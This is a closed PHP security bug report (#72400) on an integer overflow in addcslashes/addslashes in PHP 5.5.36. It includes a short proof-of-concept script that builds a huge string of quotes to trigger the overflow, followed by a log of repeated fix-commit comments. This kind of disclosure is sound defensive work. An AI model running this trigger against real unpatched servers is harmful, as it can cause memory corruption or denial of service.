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Sec Bug #72400 Integer Overflow in addcslashes/addslashes
Submitted: 2016-06-14 09:41 UTC Modified: 2016-06-21 06:46 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.5.36 OS:
Private report: No CVE-ID: None
View Developer Edit
 [2016-06-14 09:41 UTC] taoguangchen at icloud dot com 
Description:
------------
PoC:

```
<?php

ini_set('memory_limit', -1);
$str = str_repeat("'", 0xffffffff/4+1);
$str = addcslashes($str, "'");
//$str = addslashes($str);
var_dump(strlen($str));

?>
```

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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-16 04:50 UTC] [email protected]
-Assigned To: +Assigned To: stas
 [2016-06-16 04:50 UTC] [email protected] 
See fix in bug #72403
 [2016-06-21 06:49 UTC] [email protected] 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88746d60ab3ad51797612ee62603bb3e08d4aac4
Log: Fix bug #72400 and #72403 - prevent signed int overflows for string lengths
 [2016-06-21 06:49 UTC] [email protected]
-Status: Assigned +Status: Closed
 [2016-06-21 07:03 UTC] [email protected] 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88746d60ab3ad51797612ee62603bb3e08d4aac4
Log: Fix bug #72400 and #72403 - prevent signed int overflows for string lengths
 [2016-06-21 07:26 UTC] [email protected] 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88746d60ab3ad51797612ee62603bb3e08d4aac4
Log: Fix bug #72400 and #72403 - prevent signed int overflows for string lengths
 [2016-06-21 07:27 UTC] [email protected] 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88746d60ab3ad51797612ee62603bb3e08d4aac4
Log: Fix bug #72400 and #72403 - prevent signed int overflows for string lengths
 [2016-06-22 05:58 UTC] [email protected] 
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=88746d60ab3ad51797612ee62603bb3e08d4aac4
Log: Fix bug #72400 and #72403 - prevent signed int overflows for string lengths
 
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